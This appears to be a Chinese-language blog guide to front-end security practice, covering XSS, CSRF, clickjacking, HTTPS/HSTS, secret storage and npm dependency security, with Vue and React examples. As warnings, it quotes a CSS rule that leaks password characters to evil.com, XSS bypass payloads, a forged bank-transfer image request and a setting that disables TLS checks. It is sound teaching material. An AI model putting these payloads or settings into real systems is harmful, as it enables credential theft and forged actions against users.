CC 咖啡猫的工作空间 Coding Space

前端安全实践指南

一、前端安全威胁全景

前端作为用户与系统交互的第一道防线,面临着多样化的安全威胁。理解这些威胁的机制和危害,是制定有效防御策略的前提。

1.1 安全威胁一览

威胁类型 攻击原理 主要危害 影响面
XSS 跨站脚本攻击 注入恶意脚本到页面中执行 Cookie 窃取、页面篡改、键盘记录 所有用户
CSRF 跨站请求伪造 利用用户已登录身份发起恶意请求 修改密码、转账、数据篡改 已登录用户
点击劫持 通过透明 iframe 诱导用户点击 授权操作、发布内容 所有用户
中间人攻击 MITM 拦截并篡改通信数据 数据泄露、内容篡改 特定网络环境用户
敏感信息泄露 前端代码/存储/日志中的敏感数据暴露 密钥泄露、Token 被盗 全局性
依赖供应链攻击 恶意第三方包执行恶意代码 数据窃取、权限控制丧失 项目本身
CORS 配置不当 过宽跨域策略导致数据被窃取 API 被第三方页面调用 API 级
原型污染 修改 JS 对象原型链属性 绕过校验、执行恶意逻辑 应用级

1.2 安全模型:纵深防御

前端安全无法依赖单一措施,需要构建多层防御体系:

用户输入
  │
  ├── 输入过滤层     ← 白名单校验、格式检查
  ├── 渲染防护层     ← 框架自动转义、DOMPurify 净化
  ├── HTTP 安全层    ← CSP、X-Frame-Options、HSTS
  ├── 传输安全层     ← HTTPS、证书验证
  ├── 存储安全层     ← 环境变量、Token 安全存储
  └── 依赖安全层     ← npm audit、lockfile 锁定

核心原则:永远不要信任用户输入,永远不要信任后端数据,永远不要依赖前端做安全决策。


二、XSS 跨站脚本攻击

2.1 XSS 分类与原理

类型 攻击方式 特点 常见场景
反射型 恶意脚本通过 URL 参数传入,服务端未过滤直接返回 一次性,需要用户点击恶意链接 搜索关键词、错误提示
存储型 恶意脚本存储在服务端,所有访问者都会触发 持久性,影响范围广,危害最大 评论区、用户昵称、富文本内容
DOM 型 通过客户端 JS 动态修改 DOM 时注入 纯客户端,不经过服务端 innerHTMLdocument.writeeval

2.2 框架自动转义机制

Vue 3 的自动转义

Vue 模板默认对所有插值表达式进行 HTML 转义,将 <, >, ", ', & 等特殊字符转换为实体编码。

<!-- 安全:Vue 自动转义,不会执行脚本 -->
<div>{{ userInput }}</div>

<!-- 危险:v-html 会跳过转义,直接渲染 HTML -->
<div v-html="userInput"></div>

React 的自动转义

React 默认对所有 JSX 插值进行转义,在渲染前将内容转换为字符串。

{/* 安全:React 自动转义,不会执行脚本 */}
<div>{userInput}</div>

{/* 危险:dangerouslySetInnerHTML 会跳过转义 */}
<div dangerouslySetInnerHTML={{ __html: userInput }} />

框架安全特性对比

特性 Vue 3 React 说明
默认插值 自动转义({{ }} 自动转义({} 两者一致
HTML 渲染 v-html dangerouslySetInnerHTML 命名都带有警示性
属性绑定 自动转义 自动转义 两者一致
URL 绑定 不自动过滤 javascript: 不自动过滤 javascript: 需手动校验
样式绑定 不校验 CSS 注入 不校验 CSS 注入 需手动校验

注意:框架的自动转义仅保护模板插值,不保护 v-html/dangerouslySetInnerHTML、属性绑定中的 javascript: 协议、CSS 中的表达式注入。

2.3 v-html / dangerouslySetInnerHTML 的安全使用

✅ 正确做法:使用 DOMPurify 净化 HTML

Vue 3 + DOMPurify

<script setup lang="ts">
import { computed } from 'vue'
import DOMPurify from 'dompurify'
import { getArticleApi } from '@/api/article'

const props = defineProps<{ articleId: number }>()

// 永远不要信任后端返回的 HTML 内容
const article = ref<{ content: string } | null>(null)
const loading = ref(false)

// 使用 DOMPurify 过滤后再渲染
const safeContent = computed(() => {
  if (!article.value?.content) return ''
  return DOMPurify.sanitize(article.value.content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'class'],
    ALLOW_DATA_ATTR: false,
  })
})

async function fetchArticle() {
  loading.value = true
  try {
    const res = await getArticleApi(props.articleId)
    article.value = res.data ?? null
  } catch {
    article.value = null
  } finally {
    loading.value = false
  }
}

fetchArticle()
</script>

<template>
  <div v-loading="loading">
    <!-- 即使经过 DOMPurify 净化,仍需注意内容安全 -->
    <div v-if="safeContent" v-html="safeContent" />
    <ElEmpty v-else description="暂无内容" />
  </div>
</template>

React + DOMPurify

import { useState, useEffect, useMemo } from 'react'
import DOMPurify from 'dompurify'
import { getArticleApi } from '@/api/article'

interface Props {
  articleId: number
}

export function ArticleContent({ articleId }: Props) {
  const [article, setArticle] = useState<{ content: string } | null>(null)
  const [loading, setLoading] = useState(false)

  // 防御式编程:DOMPurify.sanitize 本身也可能返回空字符串
  const safeContent = useMemo(() => {
    if (!article?.content) return ''
    return DOMPurify.sanitize(article.content, {
      ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
      ALLOWED_ATTR: ['href', 'target', 'class'],
      ALLOW_DATA_ATTR: false,
    })
  }, [article])

  useEffect(() => {
    async function fetchArticle() {
      setLoading(true)
      try {
        const res = await getArticleApi(articleId)
        setArticle(res.data ?? null)
      } catch {
        setArticle(null)
      } finally {
        setLoading(false)
      }
    }
    fetchArticle()
  }, [articleId])

  if (loading) return <Spin />

  return (
    <div>
      {safeContent ? (
        <div dangerouslySetInnerHTML={{ __html: safeContent }} />
      ) : (
        <Empty description="暂无内容" />
      )}
    </div>
  )
}

DOMPurify 配置说明

配置项 作用 推荐值
ALLOWED_TAGS 允许的 HTML 标签白名单 仅允许安全的文本格式化标签
ALLOWED_ATTR 允许的 HTML 属性白名单 避免 styleon* 事件属性
ALLOW_DATA_ATTR 是否允许 data-* 属性 false
ALLOWED_URI_REGEXP URI 协议白名单 仅允许 http/https/mailto
ADD_TAGS 额外允许的自定义标签 按需添加

2.4 ⚠️ 容易被忽略的 XSS 攻击面

URL 协议注入

即使框架做了属性转义,javascript: 协议仍可能被注入:

// ❌ 危险:攻击者可构造 javascript:alert(1)
const link = ref('javascript:alert(1)')

// ✅ 安全:白名单校验协议
function isSafeUrl(url: string): boolean {
  const allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']
  try {
    const parsed = new URL(url)
    return allowedProtocols.includes(parsed.protocol)
  } catch {
    return false // 非法 URL 视为不安全
  }
}

const safeLink = computed(() => {
  return isSafeUrl(link.value) ? link.value : 'about:blank'
})
// React 版本
function isSafeUrl(url: string): boolean {
  const allowedProtocols = ['http:', 'https:', 'mailto:', 'tel:']
  try {
    const parsed = new URL(url)
    return allowedProtocols.includes(parsed.protocol)
  } catch {
    return false
  }
}

function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
  const safeHref = isSafeUrl(href) ? href : 'about:blank'
  return <a href={safeHref} rel="noopener noreferrer">{children}</a>
}

CSS 注入

/* 恶意 CSS:可以通过 CSS 属性窃取数据 */
input[type="password"][value^="a"] { background: url(https://evil.com/steal?char=a); }
input[type="password"][value^="b"] { background: url(https://evil.com/steal?char=b); }

防御策略:永远不允许用户控制的 CSS 直接注入到页面中。使用 CSS-in-JS 或 CSS Modules 隔离样式作用域。

JSONP 接口

// ❌ 危险:JSONP 回调函数名可能被注入
function fetchUser(callbackName: string) {
  const script = document.createElement('script')
  script.src = `https://api.example.com/user?callback=${callbackName}`
  document.body.appendChild(script)
}

// ✅ 安全:只允许预定义的回调函数名
const SAFE_CALLBACKS = ['handleUserData', 'handleError'] as const
type SafeCallback = typeof SAFE_CALLBACKS[number]

function fetchUserSafe(callback: SafeCallback) {
  if (!SAFE_CALLBACKS.includes(callback)) {
    console.error('不合法的回调函数名')
    return
  }
  // ...
}

2.5 XSS 攻击面对比与防御策略

攻击面 风险等级 框架保护? 防御措施
{{ }} / {} 插值 自动转义 无额外操作
v-html / dangerouslySetInnerHTML 不保护 DOMPurify 净化
v-bind:href / href={} 不保护 javascript: URL 协议白名单
v-bind:style / style={{}} 不保护 CSS 注入 不使用用户输入样式
eval() / setTimeout(string) 极高 不保护 禁止使用
innerHTML / outerHTML 不保护 替换为框架 DOM API
document.write() 不保护 禁止使用
location.hash / location.search 不保护 解析后校验,不直接渲染

2.6 Content Security Policy (CSP)

CSP 是通过 HTTP 响应头或 <meta> 标签定义的浏览器安全策略,是 XSS 防御的最后一道防线。

CSP 指令配置

# 严格 CSP 配置(推荐)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' data:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'none';
  form-action 'self';

各指令说明

指令 作用 配置示例
default-src 所有资源类型的默认策略 'self'
script-src 允许加载脚本的来源 'self' 'nonce-{random}'
style-src 允许加载样式的来源 'self' 'unsafe-inline'
img-src 允许加载图片的来源 'self' data: https:
connect-src 允许 XHR/Fetch 的 URL 'self' https://api.example.com
frame-ancestors 允许被哪些页面嵌套(防点击劫持) 'none'
base-uri 限制 <base> 标签的 URL 'none'
form-action 限制表单提交的目标 URL 'self'
report-uri / report-to 违规上报 URL /csp-report

CSP 非脚本放行

// Vue 3:使用 nonce 配合 CSP
// 服务端生成随机 nonce 值,注入到 HTML 模板中
// <script nonce="random123"> ... </script>

// 内联事件处理器会被 CSP 拦截,必须迁移到 addEventListener
// ❌ 不兼容 CSP:<button onclick="handleClick()">
// ✅ 兼容 CSP:<button @click="handleClick">
// React:同样依赖 CSP nonce
// Next.js 内置支持 CSP nonce 注入
// Gatsby 也支持通过插件配置 CSP

CSP 策略对比

策略 安全性 开发便利性 推荐场景
strict (nonce + strict-dynamic) 中等 生产环境推荐
unsafe-inline 开发环境
report-only 不拦截 灰度验证阶段
无 CSP 最低 最高 不推荐

CSP 配置要点

  • 先使用 Content-Security-Policy-Report-Only 模式观察违规日志,确认无误后再切换到强制执行模式
  • 使用 'strict-dynamic' 替代宽泛的域名白名单,安全性更高
  • 避免使用 'unsafe-inline' 在生产环境

2.7 输入过滤与输出编码

✅ 推荐实践

// 工具函数:统一输入过滤
export function sanitizeInput(input: string): string {
  return input
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;')
}

// 工具函数:HTML 编码
export function encodeHtml(str: string): string {
  const div = document.createElement('div')
  div.textContent = str
  return div.innerHTML
}

// 工具函数:URL 安全校验
export function isValidUrl(str: string): boolean {
  try {
    const url = new URL(str)
    return ['http:', 'https:'].includes(url.protocol)
  } catch {
    return false
  }
}

❌ 常见错误做法

// ❌ 使用黑名单过滤,容易被绕过
function filterXSS(input: string) {
  return input.replace(/<script>/gi, '') // 可以绕过:<ScRiPt>

  // 攻击者可构造:
  // <ScRiPt>alert(1)</ScRiPt>    — 大小写绕过
  // <img src=x onerror=alert(1)>  — 事件属性绕过
  // <a href="javascript:alert(1)"> — 协议绕过
}

// ✅ 应该使用白名单或成熟的库
// npm install dompurify

// ❌ 手动拼接 URL 参数
const url = `https://api.example.com/search?q=${userInput}` // 注入风险

// ✅ 使用 URLSearchParams
const params = new URLSearchParams({ q: userInput })
const safeUrl = `https://api.example.com/search?${params}`

XSS 防御验证清单

防御层级 措施 效果
框架层 使用模板自动转义 阻止绝大多数反射型 XSS
内容层 DOMPurify 净化 HTML 阻止存储型 XSS
网络层 CSP 策略 兜底拦截未被过滤的恶意脚本
输入层 白名单输入校验 在入口拦截恶意数据
输出层 上下文感知编码 按 HTML/JS/CSS/URL 不同上下文编码

三、CSRF 跨站请求伪造

3.1 CSRF 攻击原理

CSRF 利用浏览器的 Cookie 自动发送机制:当用户已登录网站 A,攻击者诱导用户访问恶意网站 B,B 中的请求会自动携带 A 的 Cookie,从而以用户身份执行操作。

用户登录 bank.com → 获得会话 Cookie
                    ↓
用户访问 evil.com  → 页面中隐藏的 <img src="bank.com/transfer?to=attacker&amount=1000">
                    ↓
浏览器自动携带 bank.com 的 Cookie   →  服务端验证通过   →  转账成功

3.2 CSRF 防御方案对比

方案 防御原理 实现复杂度 安全性 适用场景
SameSite Cookie 浏览器控制 Cookie 跨站发送 低(仅需配置属性) 全场景推荐
CSRF Token 服务端签发随机 Token 校验 中(需前后端配合) 支付等敏感操作
双重提交 Cookie Cookie 与请求头携带的值比对 简单防护
Referer/Origin 校验 校验请求来源 辅助手段
验证码 用户交互确认 极高 转账、删除等敏感操作

SameSite 是浏览器最直接的 CSRF 防御手段,由 Set-Cookie 响应头控制。

SameSite 值 跨站请求是否携带 安全性 对第三方登录的影响
Strict 从不携带 最高 支付回调、OAuth 登录可能失败
Lax GET 请求携带,POST 不携带 大部分场景正常,少数 POST 回调受限
None 所有请求都携带(需配合 Secure) 最低 无影响
# 推荐配置:Lax 作为默认值
Set-Cookie: session_token=abc123; HttpOnly; Secure; SameSite=Lax

# 敏感操作使用 Strict
Set-Cookie: csrf_token=xyz789; HttpOnly; Secure; SameSite=Strict; Path=/api/transfer

# 第三方登录必须使用 None(仅在必要时)
Set-Cookie: oauth_state=abc; HttpOnly; Secure; SameSite=None

3.4 CSRF Token 机制

前端需要在每个请求中携带后端下发的 CSRF Token。

Vue 3 + axios CSRF Token 配置

// src/api/request.ts
import axios from 'axios'
import type { InternalAxiosRequestConfig } from 'axios'

const request = axios.create({
  baseURL: import.meta.env.VITE_API_BASE_URL,
  timeout: 10000,
  withCredentials: true, // 跨站请求携带 Cookie
})

// 从 Cookie 中读取 CSRF Token(由后端设置)
function getCsrfToken(): string {
  const match = document.cookie.match(/(?:^|;\s*)XSRF-TOKEN=([^;]*)/)
  return match ? decodeURIComponent(match[1]) : ''
}

request.interceptors.request.use(
  (config: InternalAxiosRequestConfig) => {
    // 自动注入 CSRF Token 到请求头
    const csrfToken = getCsrfToken()
    if (csrfToken) {
      config.headers['X-XSRF-TOKEN'] = csrfToken
    }
    return config
  },
  (error) => Promise.reject(error),
)

export default request

React + axios CSRF Token 配置

// src/api/request.ts(React 项目,与 Vue 完全相同的实现)
import axios from 'axios'
import type { InternalAxiosRequestConfig } from 'axios'

const request = axios.create({
  baseURL: import.meta.env.VITE_API_BASE_URL,
  timeout: 10000,
  withCredentials: true,
})

function getCsrfToken(): string {
  const match = document.cookie.match(/(?:^|;\s*)XSRF-TOKEN=([^;]*)/)
  return match ? decodeURIComponent(match[1]) : ''
}

request.interceptors.request.use(
  (config: InternalAxiosRequestConfig) => {
    const csrfToken = getCsrfToken()
    if (csrfToken) {
      config.headers['X-XSRF-TOKEN'] = csrfToken
    }
    return config
  },
  (error) => Promise.reject(error),
)

export default request

3.5 前端 CSRF 配合 checklist

检查项 操作
Cookie 配置 确认后端设置了 SameSite=LaxSameSite=Strict
CSRF Token 注入 确认请求拦截器自动注入了 X-XSRF-TOKEN
敏感操作二次确认 删除、转账等操作增加验证码或弹窗确认
自定义请求头 为 API 请求添加自定义请求头(浏览器会先发 OPTIONS 预检)
退出登录清除 Token 登出时清除本地存储的登录状态

3.6 ⚠️ 踩坑点

  1. SameSite=None 兼容性问题:部分旧浏览器(Safari 12、iOS 12)不支持 SameSite=None,可能导致 Cookie 完全不被设置。解决方案:User-Agent 检测降级。

  2. CSRF Token 泄露:Token 放在 Cookie 中需设置 HttpOnly,防止 XSS 读取。如果 Token 在 URL 参数中传递,会在 Referer 中泄露。

  3. 双重提交 Cookie 的安全隐患:子域名可覆盖父域 Cookie,导致 Token 被篡改。使用 __Host- 前缀的 Cookie 可限制路径和域。

  4. API 兼容性问题:后端迁移时,旧接口可能未实现 CSRF 防护。建议统一网关层处理,而非每个接口单独实现。


四、点击劫持防御

4.1 攻击原理

攻击者通过 iframe 透明嵌套目标页面,诱导用户点击伪装后的按钮,实际触发的是目标页面中的操作。

用户看到的页面:
┌──────────────────────┐
│ "点击领取优惠券"     │  ← 攻击者伪造的按钮
└──────────────────────┘

实际目标页面(透明 iframe):
┌──────────────────────┐
│ "一键删除所有数据"   │  ← 真正触发的操作
│ [确认删除]           │
└──────────────────────┘

4.2 防御方案对比

方案 实现方式 兼容性 推荐度
X-Frame-Options HTTP 响应头 所有浏览器 推荐(基础防御)
frame-ancestors CSP CSP 指令 现代浏览器 推荐(更灵活)
JS 反嵌套 (frame busting) 前端 JS 判断 可能被绕过 辅助手段

4.3 X-Frame-Options 配置

# 禁止所有 iframe 嵌套
add_header X-Frame-Options "DENY";

# 仅允许同源嵌套
add_header X-Frame-Options "SAMEORIGIN";
效果 适用场景
DENY 禁止任何页面嵌套 支付页面、敏感操作页
SAMEORIGIN 仅允许同源页面嵌套 普通管理后台
ALLOW-FROM uri 仅允许指定 URI 嵌套 已废弃,不推荐使用

4.4 frame-ancestors CSP 指令

# 同时使用 X-Frame-Options 和 CSP(双重保护)
Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY

# 允许同源嵌套
Content-Security-Policy: frame-ancestors 'self';

# 允许特定域名嵌套
Content-Security-Policy: frame-ancestors 'self' https://trusted-app.com;

前端反嵌套检测(辅助手段)

// ✅ 辅助防御:前端检测是否被嵌套
// 注意:此方法可被绕过(例如 sandbox 属性),仅作为辅助手段
export function preventClickjacking() {
  if (window.self !== window.top) {
    // 被 iframe 嵌套时跳转
    window.top.location.href = window.self.location.href
  }
}

// 在应用入口调用
preventClickjacking()

4.5 ⚠️ 踩坑点

  1. X-Frame-Options 与 CSP 冲突:同时设置时,浏览器优先采用 CSP 的 frame-ancestors。建议两者都设置,老浏览器用 X-Frame-Options 兜底。

  2. iframe 嵌套的合法场景:第三方支付回调、仪表盘嵌入等场景需要允许嵌套,此时使用 SAMEORIGIN 或 CSP 白名单。

  3. sandbox 属性绕过:攻击者可使用 <iframe sandbox="allow-scripts"> 绕过前端 JS 反嵌套检测,因此不能仅依赖 JS 检测。


五、HTTPS 与传输安全

5.1 HTTPS 的必要性

防护能力 说明
加密传输 防止中间人窃听通信内容
完整性校验 防止中间人篡改通信数据
身份验证 验证服务端身份,防止 DNS 劫持
保护 Referer HTTPS 页面引用 HTTP 资源时不发送 Referer

5.2 强制 HTTPS 跳转

Nginx 配置

server {
    listen 80;
    server_name example.com;
    # 强制跳转到 HTTPS
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    server_name example.com;

    ssl_certificate     /etc/nginx/certs/fullchain.pem;
    ssl_certificate_key /etc/nginx/certs/privkey.pem;

    # 现代 TLS 配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers on;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
}

前端配置

// 开发环境配置:强制 HTTPS
// Vite
// vite.config.ts
import { defineConfig } from 'vite'

export default defineConfig({
  server: {
    https: true, // 使用自签名证书
    // 或指定自定义证书:
    // https: {
    //   key: fs.readFileSync('./localhost-key.pem'),
    //   cert: fs.readFileSync('./localhost.pem'),
    // },
  },
})

5.3 HSTS 配置

HSTS 告诉浏览器:从此以后,只能通过 HTTPS 访问本域名,自动将 HTTP 请求替换为 HTTPS,杜绝 SSL Stripping 攻击。

# 推荐 HSTS 配置
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# 参数说明
# max-age=31536000   → 1 年内强制 HTTPS
# includeSubDomains  → 子域名也强制 HTTPS
# preload            → 申请加入浏览器 HSTS Preload List

HSTS Preload

申请加入浏览器内置的 HSTS Preload List 后,即使用户从未访问过该网站,浏览器也会强制使用 HTTPS。

HSTS 参数 说明 风险
max-age 强制 HTTPS 时长 设置过短效果差,过长无法快速回退
includeSubDomains 覆盖所有子域名 子域名必须支持 HTTPS,否则不可访问
preload 浏览器内置列表 一旦加入难以移除,需提前做好全站 HTTPS

HSTS 配置注意事项

  • 先使用较短 max-age(如 5 分钟)验证配置正确性
  • 确认所有子域名都支持 HTTPS 后再开启 includeSubDomains
  • HSTS max-age 设置后,除非等待过期,无法通过 HTTP 访问

5.4 前端证书验证

// axios 配置:检查 HTTPS 证书
import axios from 'axios'

// 在浏览器端 axios 使用浏览器的证书验证机制,无需额外配置
// 但需要注意以下几点:

// 1. 开发环境避免禁用证书验证
// ❌ 不要这样做 — 会导致生产环境也跳过验证
// process.env.NODE_ENV === 'development' && (axios.defaults.httpsAgent = ...)

// 2. 生产环境不要忽略证书错误
// ❌ 危险:关闭证书校验
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'

5.5 ⚠️ 踩坑点

  1. 混合内容(Mixed Content):HTTPS 页面中加载 HTTP 资源(图片、脚本),浏览器会阻止。解决方案:使用协议相对 URL //cdn.example.com/image.png 或全 HTTPS CDN。

  2. SSL/TLS 证书过期:证书过期前需及时更新,建议设置自动续期(如 Let's Encrypt + Certbot)和到期前告警。

  3. SSL Stripping 攻击:如果用户首次访问时通过 HTTP,攻击者可拦截 301 跳转。HSTS 可解决此问题,但首次访问仍有窗口。解决方案:加入 HSTS Preload List。

  4. 开发环境 HTTPS 问题:自签名证书在浏览器中会被拦截。解决方案:使用 mkcert 生成本地受信任的开发证书。


六、敏感信息保护

6.1 前端无秘密原则

核心原则:前端代码运行在用户浏览器中,不可信任。任何在前端硬编码的密钥、Token、凭证都可能被用户提取。

❌ 常见错误做法

// ❌ 危险:硬编码 API Key
const API_KEY = 'sk-xxxxxxxxxxxxxxxxxxxx'
const api = new SomeService({ apiKey: API_KEY })

// ❌ 危险:前端存储数据库密码
const DB_CONFIG = {
  host: 'db.example.com',
  user: 'admin',
  password: 'password123',
}

// ❌ 危险:前端鉴权逻辑
function checkPermission(role: string): boolean {
  const secret = 'admin-secret-2024'
  return role === secret
}

✅ 正确做法

// ✅ 通过后端 BFF 代理,前端不直接接触密钥
// src/api/service.ts
import request from './request'

// 前端只调用自己的后端接口
async function callExternalApi(data: unknown) {
  // 密钥由后端管理,前端不感知
  const res = await request.post('/bff/external-api', data)
  return res.data
}

// ✅ 密钥放在环境变量中(仅供构建时使用,不暴露给客户端)
// .env(仅服务端使用的密钥,不会被注入到客户端代码)
// VITE_ 前缀的变量才会被注入到客户端
// VITE_API_BASE_URL=/api         ← 安全,仅包含 URL
// API_SECRET=sk-xxxxxxxxxxxx     ← 安全,仅在服务端使用,不注入客户端

6.2 .env 环境变量管理

变量前缀 是否注入前端 使用场景
VITE_(Vite)/ REACT_APP_(CRA) 前端可公开的配置
无前缀(Vite)/ 非 REACT_APP_ 服务端密钥
# .env(所有环境共享)
VITE_APP_TITLE=前端安全实践
VITE_API_BASE_URL=/api

# .env.development
VITE_API_BASE_URL=http://localhost:3000/api
VITE_ENABLE_MOCK=true

# .env.production
VITE_API_BASE_URL=https://api.example.com
VITE_ENABLE_MOCK=false

# 注意:以下内容即使写在 .env 文件中,也不会被注入到前端
# 它们仅在服务端构建脚本中可用
DB_PASSWORD=xxxx
JWT_SECRET=yyyy

6.3 Token 安全存储

存储方式 安全性 可被 XSS 读取 跨标签页 适用场景
httpOnly Cookie 最高 推荐用于主 Token
Memory (变量) 否(需代码注入) 短期 Token
sessionStorage 是(XSS 可读取) 不推荐存储 Token
localStorage 是(XSS 可读取) 不推荐存储 Token
URL 参数 最低 是(Referer 泄露) 绝对禁止
// 方案一:后端设置 httpOnly Cookie(推荐)
// 前端完全不需要关心 Token 存储,Cookie 由浏览器自动管理
// 后端在响应头中设置:
// Set-Cookie: access_token=xxx; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
// Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh; Max-Age=604800

// 方案二:内存存储(退化方案,当无法使用 httpOnly Cookie 时)
// src/stores/auth.ts
import { defineStore } from 'pinia'
import { ref } from 'vue'

export const useAuthStore = defineStore('auth', () => {
  // Token 保存在内存 Ref 中,页面刷新即丢失
  // 由父页面通过 postMessage 或初始 API 注入
  const accessToken = ref<string | null>(null)
  const refreshToken = ref<string | null>(null)

  function setTokens(access: string, refresh: string) {
    accessToken.value = access
    refreshToken.value = refresh
  }

  function clearTokens() {
    accessToken.value = null
    refreshToken.value = null
  }

  return { accessToken, refreshToken, setTokens, clearTokens }
})
// React 版本
import { create } from 'zustand'

interface AuthState {
  accessToken: string | null
  refreshToken: string | null
  setTokens: (access: string, refresh: string) => void
  clearTokens: () => void
}

export const useAuthStore = create<AuthState>((set) => ({
  accessToken: null,
  refreshToken: null,
  setTokens: (access, refresh) => set({ accessToken: access, refreshToken: refresh }),
  clearTokens: () => set({ accessToken: null, refreshToken: null }),
}))

❌ 危险做法

// ❌ 危险:Token 放在 localStorage
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...')

// XSS 攻击者可执行:
// localStorage.getItem('token') → 获取用户 Token
// 然后利用此 Token 冒充用户操作

// ❌ 危险:Token 放在 URL 查询参数
window.location.href = `/dashboard?token=${token}`

// Token 会出现在:
// - 浏览器历史记录
// - Referer 头
// - 服务端日志
// - 可能被书签收藏

6.4 日志脱敏

✅ 正确做法:不在控制台打印敏感数据

// ✅ 安全:生产环境禁用 console.log
// src/utils/logger.ts

const LOG_LEVELS = ['debug', 'info', 'warn', 'error'] as const
type LogLevel = typeof LOG_LEVELS[number]

// 定义需要脱敏的字段列表
const SENSITIVE_KEYS = ['password', 'token', 'secret', 'authorization', 'cookie']

function maskSensitive(obj: Record<string, unknown>): Record<string, unknown> {
  const result: Record<string, unknown> = {}
  for (const [key, value] of Object.entries(obj)) {
    if (SENSITIVE_KEYS.some((k) => key.toLowerCase().includes(k))) {
      result[key] = '***MASKED***'
    } else if (value && typeof value === 'object') {
      result[key] = maskSensitive(value as Record<string, unknown>)
    } else {
      result[key] = value
    }
  }
  return result
}

class Logger {
  private isProduction = import.meta.env.PROD

  private shouldLog(level: LogLevel): boolean {
    if (this.isProduction) {
      return level === 'error' || level === 'warn'
    }
    return true
  }

  info(message: string, data?: Record<string, unknown>) {
    if (!this.shouldLog('info')) return
    console.info(message, data ? maskSensitive(data) : '')
  }

  error(message: string, error?: unknown) {
    // 错误日志总是输出,但要脱敏
    if (error instanceof Error) {
      console.error(message, {
        name: error.name,
        message: error.message,
        // ❌ 不要在日志中包含敏感数据
        // stack: error.stack, // 堆栈可能包含 Token、密码等
      })
    } else {
      console.error(message, error)
    }
  }

  // ❌ 禁止在控制台打印完整 API 响应
  // debugResponse(response: any) {
  //   console.log('API Response:', response) // 可能包含 Token
  // }
}

export const logger = new Logger()

❌ 需要避免的做法

// ❌ 危险:调试时打印 Token
console.log('Login success, token:', token)

// ❌ 危险:打印完整请求/响应
axios.interceptors.response.use((res) => {
  console.log('API:', res.config.url, res.data) // 响应可能包含敏感数据
  return res
})

// ❌ 危险:API 错误时打印全量数据
try {
  await api.someRequest()
} catch (err) {
  console.error('Request failed:', err) // 错误对象可能包含请求体
}

// ✅ 应该这样做
try {
  await api.someRequest()
} catch (err) {
  logger.error('Request failed,错误码: xxx', err)
  // 或上报到 Sentry,但注意脱敏配置
}

6.5 敏感信息保护检查清单

检查项 禁止 推荐
API Key 硬编码在代码中 BFF 代理,服务端管理
Token localStorage / sessionStorage httpOnly Cookie
密码 前端存储、明文传输 始终 HTTPS,后端哈希处理
日志 console.log 打印全量数据 日志脱敏、只输出必要信息
错误信息 将后端错误堆栈暴露给用户 统一错误提示
URL 参数 Token 放在 URL 中 使用 Header 传递

七、依赖安全

7.1 npm 依赖安全风险

风险类型 示例 危害
恶意包 event-stream 事件 植入后门窃取比特币钱包
已知漏洞 lodash 原型污染 应用级安全漏洞
依赖混淆 内网包名与公开包名冲突 执行攻击者代码
过时依赖 不再维护的库 已知漏洞不修复
传递依赖 间接依赖的漏洞 难以追踪和管理

7.2 npm audit 定期扫描

# 扫描依赖漏洞
npm audit

# 查看详细信息
npm audit --json

# 自动修复(可能需手动验证)
npm audit fix

# 只修复补丁版本
npm audit fix --patch

# 生产环境扫描(只关注运行时依赖)
npm audit --production

# pnpm 版本
pnpm audit

集成到 CI/CD

# .github/workflows/security.yml
name: Security Scan
on:
  push:
    branches: [main, develop]
  schedule:
    - cron: '0 8 * * 1' # 每周一早上 8 点

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20

      - run: npm ci
      - run: npx better-npm-audit audit --level=high

      - name: Upload audit report
        if: failure()
        uses: actions/upload-artifact@v4
        with:
          name: npm-audit-report
          path: npm-audit.json

7.3 Dependabot / Renovate 自动更新

Dependabot GitHub 配置

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
      day: "monday"
      time: "09:00"
      timezone: "Asia/Shanghai"
    # 限制同时打开的 PR 数量
    open-pull-requests-limit: 10
    # 版本更新策略
    versioning-strategy: increase
    # 为安全更新添加标签
    labels:
      - "security"
      - "dependencies"
    # reviewers 设置
    reviewers:
      - "team-frontend"
    # 忽略特定包(有原因时)
    ignore:
      - dependency-name: "eslint"
        versions: [">=9.0.0"] # 等待正式迁移

Renovate 配置

{
  "$schema": "https://docs.renovatebot.com/renovate-schema.json",
  "extends": [
    "config:recommended",
    ":separateMajorMinor",
    ":combinePatchMinorUpdates",
    "group:allNonMajor",
    "schedule:weekly"
  ],
  "npm": {
    "stabilityDays": 3,
    "rangeStrategy": "bump"
  },
  "labels": ["dependencies", "renovate"],
  "packageRules": [
    {
      "matchUpdateTypes": ["major"],
      "labels": ["dependencies", "breaking-change"],
      "assignees": ["tech-lead"]
    },
    {
      "matchPackageNames": ["react", "@types/react"],
      "groupName": "react core"
    },
    {
      "matchPackageNames": ["vue", "@vue/*"],
      "groupName": "vue core"
    }
  ],
  "vulnerabilityAlerts": {
    "enabled": true,
    "labels": ["security"]
  }
}

7.4 lockfile 锁定版本

包管理器 lockfile 作用
npm package-lock.json 锁定精确版本和依赖树
yarn yarn.lock 锁定精确版本和依赖树
